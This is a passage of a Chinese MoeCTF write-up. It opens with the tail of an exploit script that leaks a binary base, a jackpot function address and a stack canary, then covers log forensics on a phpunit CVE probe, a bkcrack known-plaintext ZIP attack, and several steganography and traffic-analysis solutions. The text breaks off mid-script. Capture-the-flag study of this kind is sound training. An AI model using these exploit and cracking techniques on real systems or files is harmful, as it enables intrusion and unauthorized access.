port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
tries = int(sys.argv[3]) if len(sys.argv) > 3 else DEFAULT_TRIES

for attempt in range(1, tries + 1):
try:
base, award, canary, output = attack_once(host, port)
except Exception as exc:
print(f"[try {attempt:02d}] error: {exc}")
continue

print(
f"[try {attempt:02d}] base={base:#x} "
f"award_jackpot={award:#x} canary={canary:#018x}"
)
if output:
print(output.decode(errors="replace"), end="")

flag = re.search(rb"(?:moectf|flag|ctf)\{[^}\r\n]+\}", output, re.I)
if flag:
print(f"\n[+] flag: {flag.group(0).decode(errors='replace')}")
return 0

print("[-] flag not found, try increasing retry count")
return 1

if __name__ == "__main__":
raise SystemExit(main())

1
moectf{anniversary_lottery_debug_bypass}

开发与运维基础

运维入门指北

好教程,全是干货,干得我喝了几口水

image\.png

1
moectf{w31c0m3-70-7h3-w0r1d-0f-d3v0p5}

当 Nginx 不在家

登录ssh

QQ\_1786280010041\.png

题目强调“最原始、最硬核”的工具,所以先看系统里有没有 nc,返回/usr/bin/nc

监听3000

说每隔10秒,那不得监听,而且看3000返回的请求就是flag

image\.png

其实你一直手动接收数据包也行,但是怕遗漏我就直接持续监听了

image\.png

拼起来就行了

1
moectf{WEb_sERVER_pR0vlDe-REli4BIe_5ervIC3-F0r-TH3_WOR1d0}

网站日志取证大师

如果哪个大神想用眼睛看的话建议用vscode打开,有颜色分类,看得清楚点

image\.png

我选择直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from collections import Counter
from pathlib import Path
import re
import sys

TARGET_ROUTE = "/wp-json/wp/v2/users/me"
TARGET_IP = "185.177.72.68"

def parse_line(line: str):
parts = line.rstrip("\n").split(" | ")
if len(parts) < 9:
return None

user = parts[1].strip()
time = parts[2].strip()
host = parts[3].strip().strip('"')
request = parts[4].strip().strip('"')
status = parts[5].strip()
ua_and_real_ip = parts[8].strip()

match = re.match(r'^"(.*)"\s+"([^"]*)"$', ua_and_real_ip)
if match:
user_agent = match.group(1)
real_ip = match.group(2)
else:
user_agent = ""
real_ip = ""

return {
"user": user,
"time": time,
"host": host,
"request": request,
"status": status,
"user_agent": user_agent,
"real_ip": real_ip,
"line": line.rstrip("\n"),
}

def hhmmss(time_text: str) -> str:
match = re.search(r":(\d{2}):(\d{2}):(\d{2})\s+\+0800$", time_text)
if not match:
raise ValueError(f"bad time format: {time_text}")
return "".join(match.groups())

def main() -> int:
log_path = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("accesslog_4.log")
if not log_path.exists():
print(f"[-] Log file not found: {log_path}", file=sys.stderr)
print("Usage: python solve_accesslog_4.py [accesslog_4.log]", file=sys.stderr)
return 1

rows = []
with log_path.open("r", encoding="utf-8", errors="replace") as f:
for line in f:
row = parse_line(line)
if row:
rows.append(row)

enum_users = {
row["user"]
for row in rows
if TARGET_ROUTE in row["request"] and row["user"] not in {"", "-"}
}

target_rows = [row for row in rows if row["real_ip"] == TARGET_IP]
if not target_rows:
print(f"[-] No records found for {TARGET_IP}", file=sys.stderr)
return 1

ua_counter = Counter(row["user_agent"] for row in target_rows)
scan_ua, _ = ua_counter.most_common(1)[0]
scan_count = len(target_rows)
start = hhmmss(target_rows[0]["time"])
end = hhmmss(target_rows[-1]["time"])

around_payloads = [
row["request"]
for row in target_rows
if row["time"].startswith("08/Jul/2026:00:08:")
]
if any("phpunit" in req and "eval-stdin.php" in req for req in around_payloads):
cve = "CVE-2017-9841"
else:
cve = "UNKNOWN"

flag = f"moectf{{{len(enum_users)}-{scan_ua}-{scan_count}-{cve}-{start}-{end}}}"

print("[+] Unique non-empty usernames:", len(enum_users))
for name in sorted(enum_users):
print(" ", name)
print()
print(f"[+] {TARGET_IP} request count:", scan_count)
print("[+] User-Agent counts:")
for ua, count in ua_counter.most_common():
print(f" {count:>5} {ua}")
print(f"[+] Scan time range: {target_rows[0]['time']} -> {target_rows[-1]['time']}")
print(f"[+] CVE around 08/Jul/2026:00:08:07 +0800: {cve}")
print()
print("[+] Flag:")
print(flag)
return 0

if __name__ == "__main__":
raise SystemExit(main())

1
moectf{11-curl/8.7.1-2214-CVE-2017-9841-235216-000808}

运维入门指北_revenge

直接访问博客的端口发现是502

ssh连接,登录维护账号

1
ssh -p 49675 moeops@127.0.0.1

查看 Nginx 状态和错误日志

image\.png

反复出现

1
connect() to unix:/run/php/php-fpm.sock failed (2: No such file or directory)

Nginx 配置指向了一个不存在的 PHP-FPM socket

查看运行中的 PHP 进程和 socket

image\.png

看到 PHP-FPM 实际使用的是

1
/run/php/php8.4-fpm.sock

先备份配置,再替换 socket 路径

1
2
3
4
5
6
sudo cp /etc/nginx/sites-available/blog \
/etc/nginx/sites-available/blog.bak

sudo sed -i \
's#/run/php/php-fpm.sock#/run/php/php8.4-fpm.sock#' \
/etc/nginx/sites-available/blog

检查配置并重载 Nginx

1
2
sudo nginx -t
sudo systemctl reload nginx

再次访问博客发现正常显示,但怎么是个安装教程,想继续发现没有权限

image\.png

image\.png

Nginx/PHP-FPM 使用 www-data 用户运行,因此无法访问这个目录

修复目录属主和权限

1
2
3
4
5
6
7
sudo chown -R www-data:www-data /var/www/html/usr

sudo find /var/www/html/usr -type d -exec chmod 755 {} \;
sudo find /var/www/html/usr -type f -exec chmod 644 {} \;

sudo mkdir -p /var/www/html/usr/uploads
sudo chmod 775 /var/www/html/usr/uploads

再重新回去博客发现可以正常使用,按照题目给的数据库信息填入,提交之后进入博客页面看见flag

image\.png

1
moectf{whEn_IN-DoU6T_checK-THE_l0g5_firsT74770}

代号:碎片风暴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from itertools import permutations
from threading import Condition, Lock, Thread

from flask import Flask, request


app = Flask(__name__)
fragments = set()
state_lock = Lock()
changed = Condition(state_lock)
last_candidate = None


def max_overlap(left: str, right: str) -> int:
limit = min(len(left), len(right))
for overlap in range(limit, 0, -1):
if left.endswith(right[:overlap]):
return overlap
return 0


def greedy_merge(items: list[str]) -> str:
pool = list(items)

while len(pool) > 1:
best_overlap = -1
best_left = 0
best_right = 1

for left_index, left in enumerate(pool):
for right_index, right in enumerate(pool):
if left_index == right_index:
continue

overlap = max_overlap(left, right)
if overlap > best_overlap:
best_overlap = overlap
best_left = left_index
best_right = right_index

merged = pool[best_left] + pool[best_right][best_overlap:]
pool = [
merged,
*(
value
for index, value in enumerate(pool)
if index not in (best_left, best_right)
),
]

return pool[0]


def solve_scs(values: list[str]) -> tuple[str, bool]:
unique = list(dict.fromkeys(values))
useful = [
value
for value in unique
if not any(value in other for other in unique if value != other)
]

if not useful:
return "", False
if len(useful) == 1:
return useful[0], True

# 碎片少时进行精确搜索,碎片多时使用贪心算法。
if len(useful) <= 8:
best = None
for ordering in permutations(useful):
current = ordering[0]
for next_value in ordering[1:]:
overlap = max_overlap(current, next_value)
current += next_value[overlap:]

if best is None or len(current) < len(best):
best = current

greedy = greedy_merge(useful)
return best, greedy == best

result = greedy_merge(useful)
return result, all(value in result for value in useful)


def looks_like_flag(candidate: str) -> bool:
return candidate.startswith("moectf{") and "}" in candidate


def assembler() -> None:
global last_candidate

while True:
with changed:
changed.wait_for(fragments.__len__)
snapshot = list(fragments)

candidate, reliable = solve_scs(snapshot)
if candidate == last_candidate:
continue
last_candidate = candidate

if looks_like_flag(candidate):
print(
f"[+] fragments={len(snapshot)} reliable={reliable} "
f"candidate={candidate}",
flush=True,
)
if candidate.endswith("}"):
print(candidate, flush=True)


@app.post("/")
def receive_fragment():
body = request.get_data(as_text=True)
if not body:
return "empty", 400

with changed:
before = len(fragments)
fragments.add(body)
if len(fragments) != before:
changed.notify()

return "ok", 200


if __name__ == "__main__":
Thread(target=assembler, daemon=True).start()
app.run(
host="0.0.0.0",
port=3000,
threaded=True,
use_reloader=False,
)

在本地 PowerShell 中执行:

1
scp -P 15974 .\wp.py moectf@127.0.0.1:/home/moectf/wp.py

然后 SSH 登录靶机:

1
ssh -p 15974 moectf@127.0.0.1

在靶机中启动服务:

1
python3 /home/moectf/wp.py

image\.png

1
moectf{by_u5Ing_L4NgU@GeS-wE-cAN_6ullD-VaRIoUS-PlAtf0Rms-and-applications0}

取证与安全杂项

Misc入门指北

老把戏了,把内容设置成白色的了

QQ\_1786283327742\.png

看了一下,是一段ASCII二进制码

1
python -c "s='01101101 01101111 01100101 01100011 01110100 01100110 01111011 01010111 00110011 00110001 01100011 00110000 01101101 01100101 01011111 00110111 01101111 01011111 01101101 00110001 00110101 01100011 01111101'; print(''.join(chr(int(b,2)) for b in s.split()))"
1
moectf{W31c0me_7o_m15c}

Tomato

被出题人阴了,看似是番茄解混淆,其实是混淆方向继续混淆,盲猜出题人是点了两次解混淆然后导出的图片

image\.png

1
moectf{Tom@t0_i5_D3lic1ou5!}

ez_BASE

反转后的 Base64

1
moectf{Y0u_h@v3_kn0wn_b@sE64}

ez_LSB

一把梭工具里面看见LSB有东西

image\.png

逐种通道顺序/位流组合尝试后,能直接看到一段 flag: 开头的 base64,解出来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image
import base64

img = Image.open("cat.png").convert("RGB")
bits = []

for r, g, b in img.getdata():
bits.extend([(r & 1), (g & 1), (b & 1)])

data = bytearray()
for i in range(0, len(bits) - 7, 8):
cur = 0
for bit in bits[i:i+8]:
cur = (cur << 1) | bit
data.append(cur)

print(data[:200])
1
moectf{c47_kN0W5_LSB}

星走路的旅程-level1

全在图片的详细信息那,跟去年的?CTF如出一辙

image\.png

1
moectf{KWE_XIAOMI_0203}

空白文档

变个颜色后要我们异或

image\.png

1
2
3
4
5
AgkDChcDFBEOWhEAMFcVNg4cMABXXQQY
↓ Base64 解码
二进制数据
↓ 与 "office" 循环 XOR
flag
1
moectf{wh3re_1s_my_f14g}

Can_you_find_it?

manifest.json 指向配置 blob blobs/sha256/577fd454ca29c1556dbef6c86dc27a93b33f1b6bbdc89f0278b855d2bdf23a15。查看其中的 history 字段,可以看到关键命令:

1
2
3
4
5
RUN mkdir -p /var/cache/.system
COPY flag.png /var/cache/.system/cache_meta.log
RUN chmod 444 /var/cache/.system/cache_meta.log
RUN echo "xing的hint:或许你可以查一下系统缓存?" > /home/hint1.txt
RUN echo "xing的hint:注意隐藏" > /var/cache/hint2.txt

两条提示指向系统缓存和隐藏目录。更直接的证据是 COPY:原文件叫 flag.png,在镜像中却被命名为 .log,存放在隐藏目录 /var/cache/.system/。

逐层列出 tar 内容,即可找到包含目标文件的第 9 个文件系统层(从 0 开始编号为 layer 8):

1
2
blobs/sha256/b021f16e614673fbd3af42ef46531ed2c4b3b400bba6291345e3c0101d56dd6d
└── var/cache/.system/cache_meta.log

提取和检查文件

1
2
3
4
mkdir -p evidence
tar -xf blobs/sha256/b021f16e614673fbd3af42ef46531ed2c4b3b400bba6291345e3c0101d56dd6d \
-C evidence var/cache/.system/cache_meta.log
file evidence/var/cache/.system/cache_meta.log

文件实际是 400×400 PNG。图案是 33×33 模块的二维码,但顶部左右两个定位符被擦掉,无法直接扫描

按现有模块位置采样后,将左上和右上两个定位符及其白色分隔带补回

image\.png

1
moectf{1n_7h3_1m4g3_cach3}

Pixel_Art

按天逐行绘制后,点阵直接组成英文字符。下面的脚本包含题目中的全部数据,会生成 pixel_art.xlsx:横向每列对应一个数字,纵向每行对应一天,黑色单元格表示该天收到了这个数字。打开 Excel 即可看到点阵文字。运行前需安装依赖:pip install openpyxl。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from openpyxl import Workbook
from openpyxl.styles import Alignment, Font, PatternFill
from openpyxl.utils import get_column_letter

data = [
"25 31 32 36 37 40 43 44 45 46 47 55 56 57 58 59 61 69 98 106 120 129 138 139 140 143 144",
"25 30 35 43 59 61 68 69 97 98 106 120 128 129 137 141 145",
"0 1 3 7 8 9 13 14 15 19 20 21 24 25 26 29 30 31 35 39 40 43 44 45 46 58 61 62 63 64 69 74 75 76 77 86 87 88 89 91 93 94 98 103 104 105 106 115 116 117 120 121 122 123 127 129 132 134 135 141 145",
"0 2 4 6 10 12 16 18 25 30 35 40 47 57 61 65 69 73 85 89 91 92 98 102 106 114 120 124 126 129 132 133 140 145",
"0 2 4 6 10 12 13 14 15 16 18 25 30 34 35 40 47 57 61 65 69 74 75 76 85 89 91 98 102 106 114 120 124 126 127 128 129 130 132 139 145 146",
"0 2 4 6 10 12 18 25 30 35 40 43 47 56 61 65 69 77 86 87 88 89 91 98 102 106 114 120 124 129 132 145",
"0 2 4 7 8 9 13 14 15 19 20 21 26 27 30 35 39 40 41 44 45 46 56 61 65 68 69 70 73 74 75 76 89 91 97 98 99 103 104 105 106 115 116 117 120 124 129 132 139 145",
"35 85 89 145",
"36 37 49 50 51 52 53 79 80 81 82 83 86 87 88 108 109 110 111 112 143 144",
]

rows = [set(map(int, day.split())) for day in data]
width = max(max(row) for row in rows) + 1

workbook = Workbook()
sheet = workbook.active
sheet.title = "像素画"
sheet.freeze_panes = "B2"
sheet.column_dimensions["A"].width = 9
sheet.cell(1, 1, "天数 / x")
black = PatternFill(fill_type="solid", fgColor="000000")

for x in range(width):
column = x + 2 # A 列放天数,B 列对应 x=0
sheet.column_dimensions[get_column_letter(column)].width = 3
cell = sheet.cell(1, column, x)
cell.font = Font(size=6)
cell.alignment = Alignment(horizontal="center")

for y, row in enumerate(rows, start=2):
sheet.row_dimensions[y].height = 16
sheet.cell(y, 1, f"第{y - 1}天")
for x in row:
sheet.cell(y, x + 2).fill = black

# 每个非空列编码为一个 9 位掩码;全空列用于分隔字符。
columns = [sum((x in row) << y for y, row in enumerate(rows))
for x in range(width)]
glyphs = []
current = []
for column in columns + [0]:
if column:
current.append(column)
elif current:
glyphs.append(tuple(current))
current = []

# 将图中出现的字形按其列掩码记录为字符。
font = {
(124, 4, 120, 4, 120): "w",
(56, 68, 68, 68, 56): "o",
(56, 84, 84, 84, 24): "e",
(56, 68, 68, 68): "c",
(4, 63, 68, 64): "t",
(4, 126, 5, 1): "f",
(16, 254, 257, 257): "{",
(68, 125, 64): "1",
(39, 69, 69, 69, 57): "5",
(256, 256, 256, 256, 256): "_",
(1, 97, 25, 5, 3): "7",
(127, 4, 4, 4, 120): "h",
(66, 127, 64): "1",
(72, 84, 84, 84, 36): "s",
(152, 292, 292, 292, 252): "g",
(124, 8, 4, 4): "r",
(56, 68, 68, 68, 127): "d",
(24, 20, 18, 127, 16): "4",
(2, 1, 81, 9, 6): "?",
(257, 257, 254, 16): "}",
}
flag = "".join(font[glyph] for glyph in glyphs)
sheet.cell(12, 1, "Flag")
sheet.cell(12, 2, flag)
sheet.merge_cells(start_row=12, start_column=2, end_row=12, end_column=18)
workbook.save("pixel_art.xlsx")
print("已生成 pixel_art.xlsx")
print("flag:", flag)

image\.png

1
moectf{i5_7h1s_gr1d_ch4r?}

Polyglot

  1. Ruby:开头的 shebang 和 puts

  2. Whitespace:大量只有空格、Tab、换行的内容

  3. Awk:BEGIN { printf ... }

  4. Shell:echo -e

  5. Perl:pack("C*", ...)

  6. Scheme:display

  7. Python:exec(chr(...) + ...)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import re
from pathlib import Path

SOURCE = Path(__file__).parent / "polyglot" / "polyglot" / "polyglot.txt"

def chars_from_decimal(values: str) -> str:
return "".join(chr(int(value)) for value in re.findall(r"\d+", values))

def decode_whitespace(source: str) -> str:
code = "".join({" ": "S", "\t": "T", "\n": "N"}[char]
for char in source if char in " \t\n")
stack = []
output = []
cursor = 0

def read_number() -> int:
nonlocal cursor
sign = 1 if code[cursor] == "S" else -1
cursor += 1
end = code.index("N", cursor)
bits = code[cursor:end].replace("S", "0").replace("T", "1")
cursor = end + 1
return sign * int(bits or "0", 2)

while cursor < len(code):
if code.startswith("SS", cursor):
cursor += 2
stack.append(read_number())
elif code.startswith("TNSS", cursor):
output.append(chr(stack.pop()))
cursor += 4
elif code.startswith("NNN", cursor):
break
else:
raise ValueError(f"unsupported Whitespace instruction at {cursor}")

return "".join(output)

def maximum_overlap(left: str, right: str) -> int:
for size in range(min(len(left), len(right)), 0, -1):
if left[-size:] == right[:size]:
return size
raise ValueError(f"no overlap between {left!r} and {right!r}")

def extract_parts(source: str) -> list[str]:
ruby = re.search(r'puts"([^"]+)"', source).group(1)
part4 = "".join(chr(int(value, 8))
for value in re.findall(r"\\([0-7]{3})", ruby))

awk_values = re.search(
r'BEGIN\s*\{\s*printf\s*"[^"]+",\s*([^}]+)\}', source
).group(1)
part3 = chars_from_decimal(awk_values)

shell = re.search(r'echo -e "([^"]+)"', source).group(1)
part2 = "".join(chr(int(value, 8))
for value in re.findall(r"\\0([0-7]{3})", shell))

perl_values = re.search(r'pack\("C\*",\s*([^)]+)\)', source).group(1)
part5 = chars_from_decimal(perl_values)

scheme = re.search(r'\(display\s+"([^"]+)"\)', source).group(1)
part6 = "".join(chr(int(value, 16))
for value in re.findall(r"\\x([0-9a-fA-F]+);", scheme))

python_expr = re.search(r"exec\((.+)\)", source).group(1)
python_code = chars_from_decimal(python_expr)
part1 = re.search(r"print\('([^']+)'\)", python_code).group(1) + "\n"

part7 = decode_whitespace(source)
outputs = [part1, part2, part3, part4, part5, part6, part7]
return [output.rstrip("\n").split(": ", 1)[1] for output in outputs]

def rebuild(parts: list[str]) -> tuple[list[str], str]:
chunks = []
for index, part in enumerate(parts):
following = parts[(index + 1) % len(parts)]
overlap = maximum_overlap(part, following)
chunks.append(part[:-overlap])

message = "".join(
chunk[column]
for column in range(max(map(len, chunks)))
for chunk in chunks
if column < len(chunk)
)
return chunks, message

def main() -> None:
source = SOURCE.read_text(encoding="ascii")
parts = extract_parts(source)
chunks, message = rebuild(parts)

for index, part in enumerate(parts, 1):
print(f"part{index}: {part}")
print()
print("chunks:")
for chunk in chunks:
print(chunk)
print()
print(message)

if __name__ == "__main__":
main()
1
moectf{p0lygl0t_1s_fun!_7_l4ngu4g3s_1n_0n3_f1l3}

ez_BASE_revenge

base100 base64 base58 base32

image\.png

1
moectf{Em0j1_15_50_cu73_2333333}

一线生机

附件是一个zip,打开后看见两个文件,一个是flag.txt,另外一个是README.md,但是两个都是加密的。

第一反应是伪加密,可能是因为刚出完伪加密的题目吧(思考)
但是虽然随波逐流识别的是伪加密并且也帮我们“修复了”,但是文件是打不开的。我尝试用winrar打开也是打不开(因为之前有过伪加密修复后的文件要用winrar才能打开),后面又尝试手动修改,但是也没有改成功

后面问了一下ds老师才想起来明文攻击

题目提示说:

1
有时候,一线生机往往藏在最明显的地方

这里最明显的地方就是题干本身。

README.md 的明文长度是 54 字节,而题干中的这句话一共有 18 个字符。中文字符和中文标点在 UTF-8 编码下都占 3 字节,因此:18 * 3 = 54

这说明 README.md 的明文很可能就是题干中的这句话。创建明文文件

1
2
3
4
5
6
[IO.File]::WriteAllBytes(
'.\README-known.md',
[Text.UTF8Encoding]::new($false).GetBytes(
'有时候,一线生机往往藏在最明显的地方'
)
)

使用 README.md 作为密文,使用刚才创建的文件作为已知明文

1
2
3
4
5
6
.\bkcrack.exe `
-C .\flag.zip `
-c README.md `
-p .\README-known.md `
-o 0 `
-j 4

恢复内部密钥

1
39cd809b 10a0fcb2 669a68f7

使用恢复出的内部密钥直接解密 flag.txt拿到flag

image\.png

1
moectf{1t_i5_So0o0o0o_Obv1ou5}

你会git吗?

查看仓库状态

image\.png

flag.txt 在暂存区和当前工作区中的内容并不相同

查看当前提交中的文件,纯属干扰信息

image\.png

image\.png

除了当前的三条提交外,还存在曾经提交过、后来被 reset 移除的历史

用 git fsck 找到这些不可达对象

image\.png

继续查看 Git 的暂存区

image\.png

base64解码一下就是flag

1
2
3
<br class="Apple-interchange-newline"><div></div>

moectf{g17_15_so_3aSy}

半部电台

sstv解码就出来了

image\.png

1
moectf{557v-1s-th3-m41n-w4y-r4dio-am47eurs-tr4nsm1t-1m4g35}

星走路的旅程-level2

附件像没有上次那样送分,正常给了一张爷爷不泡茶的店面照片,然后要我们找到所在哪条街

直接找爷爷不泡茶肯定不现实,找旁边的那个熊喵来了火锅也不现实,连锁店范围太大了

看见那有个喜上·枣子糕,去高德上面搜,发现全国就一家(至少高德是这么写的),而且在万达,刚好符合万达的分布,打开地图看也符合,顶楼,爷爷不泡茶跟熊喵来了隔壁

d5d4cd911f40dd0685abffac7deac7a3\.jpg

按照高德上面的地址编辑好,去md5验证一下发现对的上

image\.png

1
moectf{JIANGSU_LIANYUNGANG_LINGZHOUDONGLU}

西复问答

参考文章https://www\.cnblogs\.com/izcat/p/14871530\.html

image\.png

总和为 1+2+3+4=10

image\.png

题图中的远景可见复旦大学光华楼,但拍摄点并不在复旦。继续对照周围建筑和同济大学的校园建筑资料,将候选范围缩小到同济大学衷和楼。依据画面中近景建筑的屋顶、地面与视平线,拍摄高度约在十几层;逐层向靶机核验后,命中 同济大学衷和楼-13

image\.png

image\.png

时间为 2023 年 9 月 11 日

image\.png

1
moectf{FuUuUu-XlIl11-QuIzzzZzZ2f37a81d}

霜雪千年

解压几层后会发现,文件编号不断递减,同时压缩格式会在以下三种格式之间切换

1
2
3
.7z
.zip
.tar.gz

脚本自动解压

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$work = Join-Path $PWD "unpack"
New-Item -ItemType Directory -Path $work -Force | Out-Null

Expand-Archive -LiteralPath ".\flag.zip" -DestinationPath $work -Force

for ($n = 1000; $n -ge 1; $n--) {
$pattern = "^$n\.(7z|zip|tar\.gz)$"

$archive = Get-ChildItem -LiteralPath $work -File |
Where-Object { $_.Name -match $pattern } |
Select-Object -First 1

if (-not $archive) {
throw "找不到第 $n 层压缩包"
}

tar -xf $archive.FullName -C $work

if (($n % 100) -eq 0) {
Write-Host "已解到第 $n 层:$($archive.Name)"
}
}

Get-ChildItem -LiteralPath $work -File |
Where-Object { $_.Name -notmatch "^\d+\.(7z|zip|tar\.gz)$" }

解压后打开flag.txt,看到一堆空白字符

image\.png

查了一下是snow隐写

把消融你眉间悲戚霜雪作为密码解密得到flag

1
stegsnow.exe -p '消融你眉间悲戚霜雪' flag.txt
1
moectf{Sn0w_@lwa7s_h0lds_5tor7_w1thin}

Wedge in the Wire

打开流量包,发现传输了一个诡异名字的zip

image\.png

导出http的全部文件,发现有一张图片还有一张对照表

对照得到flag

1
moectf{MYSTIC_SCRIPT_IN_RAPUTA}

ez_keyboard

  1. 在顶部过滤框输入:
1
usb.device_address == 2 && usb.endpoint_address == 0x81 && frame.len == 35
  1. 逐包读取最后 8 字节。第 3 字节为 00 的报告跳过;04~1d 对应 a~z。

  2. 遇到特殊键要实际修改文本:2a 退格、39 Caps Lock、50 左移光标、4f 右移光标。只把字符顺次拼起来会得到错误结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
$pcap = Join-Path $PSScriptRoot 'keyboard.pcap'
$bytes = [IO.File]::ReadAllBytes($pcap)
if ([BitConverter]::ToString($bytes, 0, 4) -ne 'D4-C3-B2-A1') {
throw 'Expected a little-endian PCAP file.'
}

$plain = @{
0x2c = ' '; 0x2d = '-'; 0x2e = '='; 0x2f = '['; 0x30 = ']'
0x31 = '\'; 0x33 = ';'; 0x34 = "'"; 0x35 = '`'; 0x36 = ','
0x37 = '.'; 0x38 = '/'
}
$shifted = @{
'1' = '!'; '2' = '@'; '3' = '#'; '4' = '$'; '5' = '%'
'6' = '^'; '7' = '&'; '8' = '*'; '9' = '('; '0' = ')'
'-' = '_'; '=' = '+'; '[' = '{'; ']' = '}'; '\' = '|'
';' = ':'; "'" = '"'; '`' = '~'; ',' = '<'; '.' = '>'; '/' = '?'
}

$buffer = [Collections.Generic.List[char]]::new()
$cursor = 0
$caps = $false
$offset = 24 # PCAP global header

while ($offset + 16 -le $bytes.Length) {
$length = [BitConverter]::ToInt32($bytes, $offset + 8)
$packet = $offset + 16
if ($length -lt 27 -or $packet + $length -gt $bytes.Length) {
throw "Invalid packet at offset $offset"
}

$headerLength = [BitConverter]::ToUInt16($bytes, $packet)
$device = [BitConverter]::ToUInt16($bytes, $packet + 19)
$endpoint = $bytes[$packet + 21]
# Device 2, endpoint 0x81: 8-byte USB HID keyboard reports.
if ($device -eq 2 -and $endpoint -eq 0x81 -and
$length - $headerLength -eq 8) {
$report = $packet + $headerLength
$modifier = $bytes[$report]
$key = $bytes[$report + 2]

if ($key -eq 0 -or ($modifier -band 0x11)) {
# Empty release report, or Ctrl shortcut (the final Ctrl+C).
} elseif ($key -eq 0x39) {
$caps = -not $caps
} elseif ($key -eq 0x2a) {
if ($cursor -gt 0) {
$cursor--
$buffer.RemoveAt($cursor)
}
} elseif ($key -eq 0x50) {
$cursor = [Math]::Max(0, $cursor - 1)
} elseif ($key -eq 0x4f) {
$cursor = [Math]::Min($buffer.Count, $cursor + 1)
} else {
$char = $null
$shift = [bool]($modifier -band 0x22)
if ($key -ge 0x04 -and $key -le 0x1d) {
$char = [string][char](97 + $key - 0x04)
if ($shift -xor $caps) { $char = $char.ToUpperInvariant() }
} elseif ($key -ge 0x1e -and $key -le 0x27) {
$char = [string]'1234567890'[$key - 0x1e]
if ($shift) { $char = $shifted[$char] }
} elseif ($key -eq 0x28) {
$char = "`n"
} elseif ($plain.ContainsKey([int]$key)) {
$char = $plain[[int]$key]
if ($shift) { $char = $shifted[$char] }
}
if ($null -ne $char) {
$buffer.Insert($cursor, [char]$char)
$cursor++
}
}
}
$offset = $packet + $length
}

$recovered = -join $buffer.ToArray()
$flag = [regex]::Match($recovered, 'moectf\{[^}\r\n]+\}')
if (-not $flag.Success) { throw 'Flag not found in recovered text.' }
$flag.Value
1
moectf{w0w_y0u_c4n_r@4d_k3yb0ARD_7r@ffic}

一部电台

音频是 44.1 kHz、16 位、单声道 WAV,长度约 36 分 11 秒。观察波形的有声和静音区间,可以发现有声段只有 0.2 秒和 0.6 秒两种长度,分别对应摩尔斯电码的点和划。静音段有 0.1 秒、1.0 秒、1.5 秒三种长度,分别分隔点划、数字、四位数字组。

开头五个 0.6 秒长音是 -----,即数字 0。继续解码,得到:

1
0361 2973 6134 0207 0735 6168 0361 2973 ...

这些四位数是中文电报码。每两组编码对应一个双字词

image\.png

十二个词恰好是社会主义核心价值观,说明最后一层是核心价值观编码。按上表把词组换成数值,再还原十六进制数字:0~9 直接使用;诚信 后接数值 x 表示 10+x;友善 后接数值 x 表示 6+x。例如开头的 公正 诚信 和谐 公正 友善 敬业 变成 6 d 6 f,即 ASCII 文本 mo。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
const fs = require('fs');

const path = process.argv[2] || 'chall.wav/chall.wav';
const fd = fs.openSync(path, 'r');
const header = Buffer.alloc(44);
fs.readSync(fd, header, 0, 44, 0);
if (header.toString('ascii', 0, 4) !== 'RIFF' || header.toString('ascii', 8, 12) !== 'WAVE') throw new Error('Expected WAV');
const rate = header.readUInt32LE(24);
const step = rate / 10;
if (!Number.isInteger(step) || header.readUInt16LE(22) !== 1 || header.readUInt16LE(34) !== 16) throw new Error('Expected mono 16-bit WAV with a sample rate divisible by 10');

const block = Buffer.alloc(step * 2);
const active = [];
for (let offset = 44; offset < fs.fstatSync(fd).size; offset += block.length) {
const read = fs.readSync(fd, block, 0, block.length, offset);
let nonzero = false;
for (let i = 0; i < read; i += 2) if (block.readInt16LE(i) !== 0) { nonzero = true; break; }
active.push(nonzero);
}
fs.closeSync(fd);

const runs = [];
for (let start = 0, i = 1; i <= active.length; i++) {
if (i === active.length || active[i] !== active[start]) {
runs.push([active[start], i - start]);
start = i;
}
}

const morse = {'-----':'0','.----':'1','..---':'2','...--':'3','....-':'4','.....':'5','-....':'6','--...':'7','---..':'8','----.':'9'};
const groups = [];
let marks = '', digits = '';
for (const [on, duration] of runs) {
if (on) marks += duration < 4 ? '.' : '-';
else if (duration >= 10) {
